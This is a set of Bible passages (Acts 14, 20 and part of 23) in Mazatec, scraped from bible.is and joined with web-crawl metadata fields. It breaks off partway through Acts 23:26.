s'ín komà ya̱ Iconio, jè Pablo ko̱ Bernabé, k'e̱ nga jahas'en ni'ya i̱ngo̱ sinagoga ts'e̱ xi̱ta̱ judío, 'ñó ndaà tsakóya; k'oa̱á komà‑ne nga 'ñó kjìn xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío kòkjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 2Ta̱nga jñà xi̱ta̱ judío xi mìkiì mokjeiín‑la̱, chinchá'a jñà xi mìtsà xi̱ta̱ judío mé‑ne nga ch'o tsò‑ne kjo̱hítsjeèn xi kisìkítsjeèn i̱t'aà ts'e̱ xi̱ta̱‑la̱ Cristo. 3Pablo ko̱ Bernabé, tseé tsibìtsa̱jna ya̱ Iconio. Mìkiì kitsakjòn nga tsakóya 'én ndaà‑la̱ Nainá koií kjoa̱‑la̱ nga Nainá ndaà ma'ñót'aà takòn. Nainá kisìkixi̱yandaà nga kixi̱ kjoa̱ 'én xi tsibéno̱jmí xi kjo̱ndaà‑la̱ Nainá. Kitsjaà‑la̱ nga'ñó nga kis'iìn kjo̱xkón xi ndaà tjín xi okó kjoa̱jeya‑la̱ Nainá. 4Jñà xi̱ta̱ na̱xa̱ndá Iconio, jòya komà; osen kiìt'aà‑la̱ jñà xi̱ta̱ judío koa̱ osen kiìt'aà‑la̱ Pablo ko̱ Bernabé, xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 5Jñà xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío tsajoóya‑ne ko̱ xi̱ta̱xá ítjòn‑la̱ nga mejèn‑la̱ ska̱àn‑ko̱, ki̱ìnè nda̱jo̱. 6Pablo ko̱ Bernabé, k'e̱ nga jye kiì'nchré, tsanga; kiì ján Listra ko̱ Derbe, na̱xa̱ndá xi chja̱‑ne Licaonia; ti̱koa̱ chinchima kóho̱kji i̱'nde xi chja̱‑ne nga jngoò itjandiì. 7Ya̱ i̱'nde jè, ti̱koa̱ kisìka'bí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 8Ya̱ Listra tíjna jngoò xi̱ta̱ x'i̱n xi mìkiì ma fì. K'oa̱á s'ín kits'iìn; ni̱ sa̱á jngoò na̱chrjein nga ndso̱ko̱ tsajmeè‑ne. 9Xi̱ta̱ jè, tíjna; tí'nchré‑la̱ Pablo nga tíchja̱ya. Jè Pablo, k'e̱ nga kiskoò'an, kijtseè nga mokjeiín‑la̱ nga ko̱ndaà‑ne. 10Pablo, 'ñó kiìchja̱ kitsò‑la̱: ―¡Ti̱sítji̱in, ti̱si̱jna kixi̱‑ne ndso̱koiì! Xi̱ta̱ jè, nguì kiskì'nga‑né; tsibíts'ia̱ nga tsajmeè‑ne. 11Jñà xi̱ta̱, k'e̱ nga kijtseè kjo̱xkón ndaà xi kis'iìn Pablo, 'ñó kiìchja̱ xi 'én Licaonia, kitsò: ―¡Jñà nainá, xi̱ta̱á kjoàn kòma nga kòf'iìkon‑ná! 12Bernabé, Zeus kitsò‑la̱; Pablo, Hermes kitsò‑la̱ nga jè xi ìsa̱ 'ñó chja̱. 13Jè i̱ngo̱ xkósòn‑la̱ Zeus, ya̱á kijna i̱ndiì na̱xa̱ndá. Jè no̱'miì‑la̱ j'iìko̱ nchra̱ja̱ ko̱ corona. Jè no̱'miì, ko̱ ngats'iì xi̱ta̱ na̱xa̱ndá mejèn sík'en‑la̱ jñà nchra̱ja̱ nga tsjá‑la̱ kjo̱tjò mé‑ne nga skoe̱xkón‑ne. 14Jè Pablo ko̱ Bernabé xi kisìxáya‑la̱ i̱t'aà ts'e̱ Cristo, ch'oó komà‑la̱ k'e̱ nga kijtseè kjoa̱ xi nchis'ín; tsatejndajno yijo‑la̱ jè nikje‑la̱; i̱kjoàn kiìs'ejiìn‑la̱ xi̱ta̱. 'Ñó kiìchja̱, kitsò‑la̱: 15―Ti̱ná'yaà, ¿mé‑ne k'oa̱s'ín titsa̱'nè‑nò? Ngaje̱n, ti̱koa̱á ta̱xki̱ xi̱ta̱‑náje̱n koni jñò. Koií xá kòf'i̱‑naje̱n nga kéno̱jmí‑nòje̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo mé‑ne nga si̱kíjna‑nò kjoa̱ koi xi nì mée chjí‑la̱; jè tanguít'aà‑là Nainá xi tíjnakon xi tsibíndaà ngajmiì, nangui, ko̱ ndáchikon, ko̱ ngats'iì tsojmì xi ya̱ tjín. 16Na̱chrjein xi jye tsato, Nainá kitsjaà'ndeé‑la̱ ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín kóho̱kji i̱sò'nde nga chinchimaya ndi̱yá xi kisaseèn‑la̱. 17Ta̱nga Nainá, kjit'aà na̱chrjein tíhokó yijo‑la̱ yá‑né jè, nga tí'ya‑la̱ ngats'iì kjo̱ndaà xi tís'ín; jè‑né xi tísíkasén‑nò jtsí xi ngajmiì tínchrobá‑ne; títsjá‑nò tsojmì xi ndaà tímajchá‑nò; jè tísíchikon‑t'in‑nò nga ndaà títsjá‑nò tsojmì xi ma chine, mé‑ne nga ndaà s'e̱‑nò kjo̱tsja. 18Pablo ko̱ Bernabé, na̱s'ín k'oa̱s'ín tsatekjáya yije‑la̱ kjoa̱ xi nchis'ín nga mejèn si̱ìk'en‑t'aà‑la̱ cho̱, tseé xá kisengui nga kòkjeiín‑la̱ jñà xi̱ta̱ na̱xa̱ndá. 19Ti̱k'e̱‑ne j'iì xi̱ta̱ judío xi inchrobà‑ne Antioquía ko̱ Iconio xi chinchá'a jñà xi̱ta̱ na̱xa̱ndá nga tsibínè nda̱jo̱ jè Pablo. K'e̱ nga jye k'oa̱s'ín kisìko̱, kitsò‑né tsà jyeé k'en; i̱kjoàn tsibífejno nangui, kiì síkatje̱n ján i̱ndiì na̱xa̱ndá. 20Ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, k'e̱ nga chixoñat'aà‑la̱ Pablo ñánda kijna, jè Pablo tsasítje̱n ìjngoò k'a‑ne; jahas'en‑jiìn ìjngoò k'a‑ne na̱xa̱ndá; xi komà inchijòn, Pablo ko̱ Bernabé kiì ján Derbe. 21K'e̱ nga jye tsibéno̱jmí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo ya̱ Derbe, nga jye kjìn xi̱ta̱ kòkjeiín‑la̱, kiì ìjngoò k'a‑ne Listra, Iconio ko̱ Antioquía. 22Pablo ko̱ Bernabé kitsjaà‑la̱ nga'ñó ini̱ma̱‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi títsa̱jna na̱xa̱ndá koi; tsibéno̱jmí‑la̱ nga kixi̱ kàtìtsa̱jnako̱ 'én xi mokjeiín‑la̱; kitsò‑la̱: ―Mochjeén‑né nga tse kjo̱'in si̱kjiaán ítjoán k'e̱ nga ki̱tjás'e̱n‑jñaá ñánda tíhotíxoma Nainá. 23Nga jngoò ìjngoò i̱'nde ñánda tjín xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, Pablo ko̱ Bernabé jaàjiìn xi̱ta̱ jchínga xi tsibít'aà xá nga si̱ìkinda̱ xi̱ta̱‑la̱ Cristo; k'e̱ nga jye kiìchja̱t'aà‑la̱ Nainá, jye tsibìtsa̱jnachjan, kisìkítsa̱jnaya tsja Nainá nga jye mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 24Jahato i̱'nde Pisidia, ijchò‑ne nangui Panfilia. 25Tsibéno̱jmí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo ya̱ Perge, i̱kjoàn kiì‑ne Atalia. 26Ya̱á jahas'en chitso nga tsohótji‑ne nga kiì ìjngoò k'a‑ne Antioquía, i̱'nde ñánda kisatiìxá‑la̱ i̱t'aà ts'e̱ kjo̱ndaà‑la̱ Nainá, xá xi jye kisìkitasòn. 27K'e̱ nga jye ijchò‑ne Antioquía, tsibíxkóya xi̱ta̱ na̱xa̱ndá‑la̱ Cristo; tsibéno̱jmí‑la̱ ngats'iì kjoa̱ xi kisìko̱ Nainá, kós'ín komàt'in nga Nainá kitsjaà'nde nga ti̱koa̱ kòkjeiín‑la̱ jñà xi mìtsà xi̱ta̱ judío. 28Pablo ko̱ Bernabé, tseé tsibìtsa̱jnako̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo ya̱ Antioquía.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/14","date":"2017-08-20T10:16:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886106367.1\/warc\/CC-MAIN-20170820092918-20170820112918-00023.warc.gz","language":"maa","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000017881393433}","num_words":698,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye isikjòn‑la̱ kjo̱si, jè Pablo tsikíxkóya ijyeé jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga kitsjà‑la̱ 'én ra nda tsò nga isí'ñó ikon. A̱kjòn isíkjáya‑la̱ nga'tsiòo̱ nga kijì ján nangi Macedonia. 2'Jahato ijyeé nga'tsì na̱xi̱ndá koni 'sín nga tífì; 'jaha katsíjen‑la̱ jñà xi̱ta̱ ra 'ndse̱ ma ra a̱'ta 'tse̱ Cristo; kitsjá‑la̱ 'én ra nda tsò nga isí'ñó ikon; skanda nga ijchò ya̱ Grecia. 3Ján sá tsikijna Pablo ya̱ Grecia. 'Kia̱ nga ijye mejèn tíkjábé jngo chitso nga tífì ján Siria, kií'nchré‑ní nga jñà xi̱ta̱ Judío títsa̱chjà ikon‑la̱ nga mejèn‑la̱ si̱ì'ken; ko̱ mì tsa ko̱'sín kijì‑ni, ti̱'koa̱á ti̱'sín tsáfa india‑ni ya̱ ndi̱yá Macedonia. 4Tsakáhijtako̱ jè xi̱ta̱ ra 'mì Sópater ra ya̱ Berea i̱'nde‑la̱, (ti‑la̱ Pirro); ti̱'koa̱á tje̱n‑ko̱ jè Aristarco ko̱ jè xi̱ta̱ ra 'mì Segundo ra Tesalónica i̱'nde‑la̱; ko̱ jè xi̱ta̱ ra 'mì Gayo ra ya̱ Derbe i̱'nde‑la̱; ko̱ Timoteo; ti̱'koa̱á tje̱n‑ko̱ xi̱ta̱ ra 'mì Tíquico ko̱ Trófimo ra ya̱ nangi Asia i̱'nde‑la̱. 5Jñà xi̱ta̱ xàngie̱é kìi̱, tje̱n kijì ítjòn‑ní skanda ján Troas. Ya̱á iskoñá‑naji̱n. 6'Kia̱ nga ijye ijyehe'tà jñà ni̱chjin‑la̱ 'sí nga bichi ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san, ichjíbé jngo‑ji̱n chitso ya̱ Filipos; a̱kjòn tsangì‑ji̱n; ra kjomà 'òn ni̱chjin, ya̱á ijchòtji̱ngi‑la̱ji̱n ján Troas; ya̱á tsikìtsa̱hijyo jngo xomàna̱‑ji̱n. 7'Kia̱ nga tahingo̱ nga tjà'tsin‑la̱ xomàna̱ kjóxkóya ijye‑náji̱n nga inìjòya‑ji̱n ni̱ño̱ nchra̱jín; jè Pablo 'ñó tse kiìchja̱ nga tsi'kéna̱jmíya‑la̱ 'én‑la̱ Cristo jñà xi̱ta̱ ra makjiín‑la̱ ta nga̱tjì‑la̱ nga̱ tífì ra ma nchijòn. Kiìchja̱‑ní skanda nga ijchò masen ni̱tje̱n. 8Ya̱á titsa̱jna‑ji̱n ya̱ ni'ya ra kjijnasòn'nga, ko̱ 'ñó kjìn ma‑ni ni'í isen ra i̱nchitì. 9Jngo ndí ti ra 'mì Eutico, ya̱á tíjnajto ya̱ ñánda̱ ti̱'xákji a̱'ta xi̱'nde̱‑la̱ ni'ya ra jàn piso tjín‑la̱. Ko̱ jè Pablo 'ñó tse kiìchja̱ nga tí'béna̱jmí; jè ndí ti ra̱kìi̱ isijnafé‑ní, nga̱ 'ñó nijñá‑la̱. 'Kia̱ nga ijye 'ñó isìfè iskàtje̱n‑ngi‑ní skanda ya̱ a̱'ta nangi. 'Kia̱ nga iskiítje̱n‑ní xi̱ta̱, ijyeé mi'ken‑ní. 10'Kia̱á inchrabàjen jè Pablo; itsabákjá jè ijo‑la̱ ndí ti, kitsò: ―Kì tà chjàn skon‑jiòn, tíjnakon‑ní. 11'Kia̱ nga ijye kjomà, kijìmijín india‑ni; a̱kjòn isìjòya ni̱ño̱ nchra̱jín, ko̱ tsakjèn‑ko̱ xákjién. Ìjngo 'ká tsikí'tsia̱ india‑ni nga tsi'kéna̱jmíya skanda nga ki'se i̱sén. A̱kjòn kijì‑ni. 12Jñà xi̱ta̱ kiìko̱ó ya̱ ni'ya‑la̱ jè ti ra iskàtje̱n‑ngi; ko̱ ijyeé nda jaáya‑ila̱; ko̱ 'koa̱á 'sín kjomà‑ni nga tse kjo̱'nchán-takòn ki'se‑la̱. 13Ngaji̱n, tsangì ítjòn‑náji̱n, ichjíbé jngo‑ji̱n chitso nga tsatojin‑ndá‑ji̱n skanda ñánda̱ 'mì Asón; ya̱á itjáhajcható‑ji̱n jè Pablo; nga̱ 'koa̱á 'sín kitsò‑naji̱n, nga̱ ndi̱yá ndsa̱ko̱ó ki̱ji̱‑ni ra jè. 14'Kia̱ nga ijye ijchò‑ji̱n ján Asón nga iskàkjo‑naji̱n ko̱ jè Pablo, tsikijnaya ko̱ò‑te‑naji̱n chitso nga tsangì‑ji̱n skanda ján Mitilene. 15Ítjo̱‑náji̱n ya̱ Mitilene. Ra kjomà nchijòn, ya̱á tsi'tàa̱ chraña‑ji̱n ya̱ Quío. Ra ma‑ni jò ni̱chjin, ijchó‑ji̱n Samos. Ya̱á iníkjáya‑ji̱n Trogilio. A̱kjòn, ra kjomà jàn ni̱chjin, ijchò‑ji̱n ya̱ Mileto. 16Jè Pablo, 'koa̱á 'sín isíkítsjen nga tà 'jahato kixi̱í ya̱ Éfeso; isíxátíya‑ni nga mì kì ya̱ ki̱chjin‑ila̱ ya̱ nangi Asia; nga̱ jé ra mejèn‑la̱ tsa isa̱ ndi̱to̱n ki̱jchò Jerusalén tsa kií ni̱chjin‑la̱ ya̱ tíjna 'kia̱ nga ki̱tjo 'sí 'tse̱ Pentecostés. 17Pablo, 'kia̱ nga tíjna ya̱ Mileto, kisìkasén kjoa̱á‑la̱ jñà xi̱ta̱ jchínga ra síkinda̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱ Éfeso nga katanchrabá. 18'Kia̱ nga 'ji jñà xi̱ta̱ jchínga, kitsó‑la̱: ―Jiòn, ndaá tjíjin‑no kó'sín tíjna̱ko̱‑no skanda 'kia̱ nga ti̱'sa̱ 'jía̱ i̱ nangi Asia. 19Nga kji'tá ni̱chjin, 'ñó indakjoa̱ tísíxá‑la̱ Nainá; ko̱ mì 'koa̱ 'ki ndáxkoaa̱n tíbìxtén, kjín kjoa̱ tíbatojiàa̱n koni 'sín isìko̱‑na jñà xi̱ta̱ judío. 20Tanga 'a̱n, ni̱ india ítsikikjón‑la̱ nga tsi'kènájmíya‑najiòn nga'tsì 'én ra machjeén‑no ra kjo̱nda tsa̱jiòn. Ítsi'kenájmíya‑ná ya̱ ñánda̱ maxkóya xi̱ta̱ ko̱ ti̱'koa̱á ya̱ ni'ya‑no. 21'Koa̱á 'sín tsi'kènájmíya ijye‑la̱, nga'tsì ra xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío nga katasíkájno‑ni jé‑la̱ ko̱ kì ti̱ jé bátsji‑ni, ya̱ kátáfa'ta‑la̱ Nainá ko̱ katakjiín‑la̱ a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná. 22'Ndi̱ 'ndi̱, ya̱á tífia ján Jerusalén; nga̱ jè Inìma̱ Tsje‑la̱ Nainá kjo̱'ñó tífìko̱‑na. Nda mí kì be mé kjoa̱ ra ko̱ma'tian; 23ta jé‑ní ra be nga jngó jngó na̱xi̱ndá ya̱ ñánda̱ nga bijchoo̱, jè Inìma̱ Tsje‑la̱ Nainá, 'koa̱á 'sín 'béna̱jmíya‑na, nga nda̱yá‑ró kóti̱jna, ko̱ nga tseé kjo̱hi'in sikjiáa̱n. 24Ra kjoa̱ 'tse̱ kjo̱hi'in, mì kì makájno‑na ni̱'sín si̱ì'ken‑na jñà xi̱ta̱. Nga̱ jé ra mejèn‑na nga nda sikjéhe'ta jè xá ra kitsjà‑na Jesús ra tíjna ítjòn‑ná nga sìká'bía̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ kjo̱nda‑la̱ Nainá ra tsjá kjo̱tjò‑ná. 25''Ndi̱ 'ndi̱, 'koa̱á 'sín xín kixi̱‑no nga'tsì‑najiòn ra ya̱ tsajmejín‑no nga tsi'kènájmíya‑no koni 'sín batéxoma Nainá, mì kì ti̱ jcha̱‑nájiòn. 26'Koa̱á xín‑no 'ndi̱ 'ndi̱, mì tsa 'a̱n tjín‑na jé tsa mì kì makjiín‑no ra a̱'ta 'tse̱ Jesús ko̱ tsa si̱jchija i'ka ijo‑no. 27Ra 'a̱n, ijyeé tsi'kènájmí ijye‑no kó'sín nga ijye tjínda‑la̱ Nainá; mì tsa mé ra tsiki'má‑najiòn. 28Jiòn jiòn, nda ti̱kinda̱a ijo‑no, ti̱'koa̱ nda ti̱kinda̱‑te nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ñánda̱ nga jè Inìma̱ Tsje‑la̱ Nainá xá ko̱'sín kitsjà‑no xá nga jiòn si̱kinda̱a koni chji̱ngo̱ cho̱, jè na̱xi̱ndá‑la̱ Cristo ra jní‑la̱ tsikíxten nga ma isikijne. 29'A̱n, be‑ná, 'kia̱ nga ijye kjiáa̱n, kjoa̱ha'sen‑jiín‑no ra kj'ií xi̱ta̱, ra ko̱'sín 'si̱in koni tsi̱jén ra 'ñó 'tse̱n, nga ko̱mejèn‑la̱ si̱ikjehesòn xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. 30Skanda ti̱'koa̱á ki̱tjokajiín i'ka ra ti̱ xi̱ta̱ tsa̱jiòn‑no nga ko̱kòn‑ya 'én ra mì tsa kixi̱ kjoa̱; i̱ko̱ó xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga ya̱ ki̱ji̱'ta‑la̱ nga sko̱ónda̱cha̱‑la̱. 31Ti̱tsa̱jnakon; ti̱kítsjen, 'a̱n, jàn nó tsakáti̱jnako̱‑no ko̱ ni̱chjin ko̱ ni̱tje̱n bixtée̱n ndáxkoaa̱n nga tsi'kènájmíya‑no 32''Ndi̱ 'ndi̱ nga'tsì‑no 'ndsé, ya̱á síkítsa̱jnaya‑no tsja Nainá ko̱ ti̱'koa̱á síkítsa̱jnajin‑no 'én‑la̱, jè 'én ra tjín‑la̱ kjo̱nda, jè 'én ra ko̱ma tsjá‑la̱ nga'ñó inìma̱‑no, ko̱ tsjá‑no kjo̱tjò‑la̱ ra ijye ko̱'sín kitsjà tsa'ba Nainá nga tjábé ijye‑la̱ xi̱ta̱ ra jè sabà ko̱'sín ijye tsijen tsjahíjin nga tsje tsikítsa̱jna. 33'A̱n, ni̱mé to̱n ko̱ ni̱jngo nikje‑la̱ xi̱ta̱ kjotsjàke̱. 34Tà isa̱á nda tjíjin‑no ra jiòn, nga ndsa̱á isíxá‑na nga isakò‑na nga'tsì tsajmì ra 'a̱n ísichjée̱n ko̱ ra kjochjeén‑la̱ xi̱ta̱ ra tsikitsa̱jnako̱‑na. 35'Koa̱á 'sín ítsakon‑yá‑no, nga machjeén‑ní nga si̱xé mé‑ni nga ma ki̱si̱ko̱‑ná jñà xi̱ta̱ ra i'in tjítsa̱jna; ti̱kítsjen koni tsò 'én‑la̱ Jesús ra tíjna ítjòn‑ná nga tsò: \"Isa̱á nda ko̱chikon'tieén tsa jién 'kie̱é nda mí 'koa̱‑ni tsa jién tjábé‑ná.\" 36'Kia̱ nga ijye ko̱'sín kitsò, a̱kjòn tsasèn-xkó'nchi'ta nangi jè Pablo; kiìchja̱'ta‑la̱ Nainá ko̱ kóhotjín xi̱ta̱. 37Nga'tsì xi̱ta̱ 'ñó itsabákjá ko̱ kitsobà ngisin Pablo, 'ñó iskindaya nga'tsiòo̱. 38'Ñó ba tjín‑la̱ jñà xi̱ta̱ koni 'sín ijye kitsò‑la̱ jè Pablo nga mì ti̱ kì ya̱ ske̱‑ni xákjién. A̱kjòn iko̱ índia skanda ñánda̱ kjijna chitso.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/20","date":"2017-08-24T11:07:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886133449.19\/warc\/CC-MAIN-20170824101532-20170824121532-00507.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":1007,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pablo kiskoò'an jñà xi̱ta̱xá ítjòn kitsò‑la̱: ―Jñò xi xi̱ta̱ xinguia̱á judío 'mì‑nò, ngats'ioò, k'oa̱á xán‑nò, kjo̱hítsjeèn ts'a̱n, k'oa̱á tsò nga ndaà tìsìkitasoàn koni s'ín mejèn‑la̱ Nainá skanda na̱chrjein i̱'ndei̱. 2Jè no̱'miì ítjòn xi 'mì Ananías kitsò‑la̱ jñà xi̱ta̱ xi nchat'aà chrañà‑la̱ Pablo nga kàtasíjts'iìn‑'a tso'ba. 3Ta̱nga jè Pablo kitsò‑la̱: ―¡Ngaji̱, xi jò i̱sén tjín‑lè, Nainá kàtasíjts'iìn‑'a ndso̱boi! Ngaji̱, koií xá tijna‑ne nga kíndaàjiìn‑ná koni s'ín tíchja̱ kjo̱tíxoma ta̱nga ngaji̱, ìsa̱á nìkatonè‑la̱ kjo̱tíxoma nga mejèn‑lè si̱jts'in‑'a‑ná. 4Jñà xi̱ta̱ xi nchat'aà chrañà‑la̱ Pablo kitsò‑la̱: ―¿Mé‑ne k'oa̱s'ín nokjoàjno‑la̱ xi no̱'miì ítjòn‑la̱ Nainá? 5Pablo kitsò: ―'Ndsè, mìkiì bexkoan tsà jè xi no̱'miì ítjòn tíjna. Kixi̱í kjoa̱, k'oa̱á s'ín tíchja̱ xo̱jo̱n kjo̱tíxoma‑la̱ Nainá nga tsò: \"Jè xi xi̱ta̱xá sko̱‑la̱ na̱xa̱ndá mìkiì ko̱ma ki̱nókjoa̱jno‑la̱.\" 6Pablo, k'e̱ nga kijtseèxkon jñà xi̱ta̱ xi títsa̱jna nga jò sko̱ya ma; tjín xi̱ta̱ fariseo ko̱ tjín xi̱ta̱ saduceo; 'ñó kiìchja̱, kitsò‑la̱: ―'Ndseé, 'a̱n, xi̱ta̱ fariseo‑ná; ki'ndí‑la̱ xi̱ta̱ fariseo‑ná; koií kjoa̱‑la̱ nga k'oa̱s'ín tísindaàjiìn‑na na̱chrjein i̱'ndei̱ nga k'oa̱á s'ín mokjeiín‑na nga faáya‑la̱ jñà xi̱ta̱ xi biyaà. 7K'e̱ nga k'oa̱ kitsò Pablo, kjòjòya jñà xi̱ta̱ xi títsa̱jna junta; tsibíts'ia̱ jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo nga tsohótiko̱ xíkjín. 8Koi kjoa̱‑la̱ nga jñà xi̱ta̱ saduceo mìkiì mokjeiín‑la̱ tsà kixi̱ kjoa̱ nga faáya‑la̱ mik'en, ti̱koa̱ mìkiì mokjeiín‑la̱ tsà tjín xi 'mì àkja̱le̱ ko̱ xi 'mì ini̱ma̱; ta̱nga jñà xi̱ta̱ fariseo mokjeiín yije‑la̱ kjoa̱ koi. 9Ngats'iì xi̱ta̱ 'ñó jchán kiìchja̱; k'e̱é chincha kixi̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi ya̱ chja̱‑ne ts'e̱ xi̱ta̱ fariseo, kitsò: ―Xi̱ta̱ jè, ni̱mé kjoa̱ xi ch'o tís'ín; tsà ini̱ma̱ tsohóko̱ ko̱ tsà àkja̱le̱ tsohóko̱; mìkiì ko̱ma jñá ki̱ncha ikón‑lá Nainá. 10Jè xi̱ta̱ sko̱‑la̱ soldado, k'e̱ nga kijtseè nga ìsa̱ 'ñó makjan‑la̱ jñà xi̱ta̱, kitsakjòn‑né tsà ya̱ si̱ìk'en Pablo. K'e̱é kiìchja̱ ìsa̱‑la̱ soldado; kitsjaà‑la̱ o̱kixi̱ nga kàtjìko̱ ìjngoò k'a ján cuartel. 11Xi komà nchijòn nga ni̱tje̱n, ijchò kasìt'aà‑la̱ Na̱'èn‑ná jè Pablo, kitsò‑la̱: ―Kì tsakjoòn‑jèn, k'oa̱á s'ín mochjeén nga ki̱nókjoi̱i xi i̱t'aà ts'a̱n ján Roma, koni s'ín kinokjoì i̱ Jerusalén. 12Nga kis'e i̱sén, jñà xi̱ta̱ judío tsajoóya‑ne nga si̱ìk'en Pablo; k'oa̱á kitsò nga mì kì ko̱kje̱n ko̱ mìkiì skoí nandá; Nainá kàtatsjá‑la̱ kjo̱'in tsà mìkiì ki̱tasòn nga si̱ìk'en Pablo. 13Tsatoó ichán ma‑ne jñà xi̱ta̱ judío xi k'oa̱s'ín tsajoóya‑ne. 14Xi̱ta̱ koi, kiìkon jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga ts'e̱ xi̱ta̱ judío, kitsò‑la̱: ―K'oa̱á s'ín tsibìnè‑la̱je̱n yijo‑na̱je̱n nga ni̱mé xi chji̱ne̱‑je̱n, Nainá kàtatsjá‑naje̱n kjo̱'in tsà mìkiì ki̱tasòn nga si̱k'en‑je̱n Pablo. 15Ngats'ioò xi tjín‑nò xá ítjòn ts'e̱ Junta jè, ko̱t'ìn‑là jè xi̱ta̱ sko̱‑la̱ soldado nga kàtjanchrobáko̱ nchijòn‑le̱ i̱ nguixkoòn. Tà k'oa̱á tìn‑là nga ìsa̱ ndaà mejèn‑nò jcha̱xkoòn kjoa̱ xi tjín‑la̱. Ngaje̱n ki̱tsa̱jnandaà‑je̱n ya̱ i̱ya ndi̱yá nga si̱k'en‑je̱n k'e̱ nga ti̱kj'eè fì i̱jndé. 16Jè ti‑la̱ ndichja Pablo, kiì'nchré kjoa̱ xi tsajoóya‑ne xi̱ta̱ judío; k'e̱é kiì kisìkí'nchré Pablo ya̱ cuartel. 17Pablo kiìchja̱ jngoò‑la̱ soldado, kitsò‑la̱: ―Tikoi̱i ti jè ñánda tíjna xi̱ta̱ sko̱‑la̱ soldado. Tjín 'én xi ke̱èno̱jmí‑la̱. 18Jè soldado kiìko̱ jè ti ñánda tíjna xi̱ta̱ sko̱‑la̱, kitsò‑la̱: ―Jè Pablo xi tíjna nda̱yá kàchja̱‑na kàtsò‑na: \"Tikoi̱i ti jè.\" Tjín xó 'én xi ke̱èno̱jmí‑lè. 19Jè xi̱ta̱ sko̱‑la̱ soldado, kitsobà'ñó tsja jè ti, kiìko̱ i̱t'aà xìn, kiskònangui‑la̱ mé 'én xi ke̱èno̱jmí‑la̱. 20Jè ti kitsò: ―Jñà xi̱ta̱ judío, jye ndaà tsajoóya‑ne [nga mejèn‑la̱ skóna̱cha̱n‑lè]; si̱ìjé‑lè nga kíkoi̱i nchijòn‑lè jè Pablo ján nguixko̱n xi̱ta̱xá judío nga mejèn xó‑la̱ ìsa̱ ndaà tja̱nangui‑la̱ mé kjoa̱ xi tjín‑la̱. 21Ngaji̱, kì kiì mokjeiín‑lè. Xi̱ta̱ koi, ma‑la̱ tsà ichán nga títsa̱jnachjoà‑la̱ Pablo ya̱ i̱ya ndi̱yá nga mejèn‑la̱ si̱ìk'en. Jye k'oa̱s'ín kitsjaà‑la̱ tso'ba Nainá nga mìkiì ko̱kje̱n ti̱koa̱ mìkiì skoí nandá skanda k'e̱ nga si̱ìk'en Pablo. I̱'ndei̱, tà jè nchikoña‑la̱ nga k'oi̱‑la̱ 'én‑lè koni s'ín nchisíjé. 22Jè xi̱ta̱ sko̱‑la̱ soldado, kitsò‑la̱ jè ti nga ko̱maá kjoi̱‑ne; kitsjaà‑la̱ o̱kixi̱ nga ni̱jngoò xi̱ta̱ ke̱èno̱jmí‑la̱ nga jè ijchò síkí'nchré. 23Jè xi̱ta̱ sko̱‑la̱ soldado kiìchja̱ jò‑la̱ soldado‑la̱ xi bít'in‑la̱ soldado xi i'nga, kitsjaà‑la̱ o̱kixi̱ nga kàtasíkítsa̱jnandaà jò sìndo̱ soldado xi ndso̱ko̱ kjoi̱‑ne, jàn kaàn ko̱ te xi kohòyo̱ kítsa̱sòn‑la̱, jò sìndo̱ xi ki̱cha̱ lanza k'oa̱ nga kjoi̱ skanda ján Cesarea k'e̱ nga ki̱jchò xi ñijaàn nga ko̱jñò. 24Ti̱koa̱ kitsjaà o̱kixi̱ nga kàtinchándaà kohòyo̱ xi kíjnakjá‑la̱ Pablo mé‑ne nga ndaà kji̱ko̱‑ne nga ni̱mé xi ko̱mat'in skanda ñánda tíjna Félix xi xi̱ta̱xá ítjòn. 25Jngoò xo̱jo̱n carta tsibíndaà xi tsò: 26\"Tjín‑lè kjo̱ndaà ngaji̱ Félix xi xi̱ta̱xá ítjòn tijni; 'a̱n, xi Claudio Lisias 'mì‑na 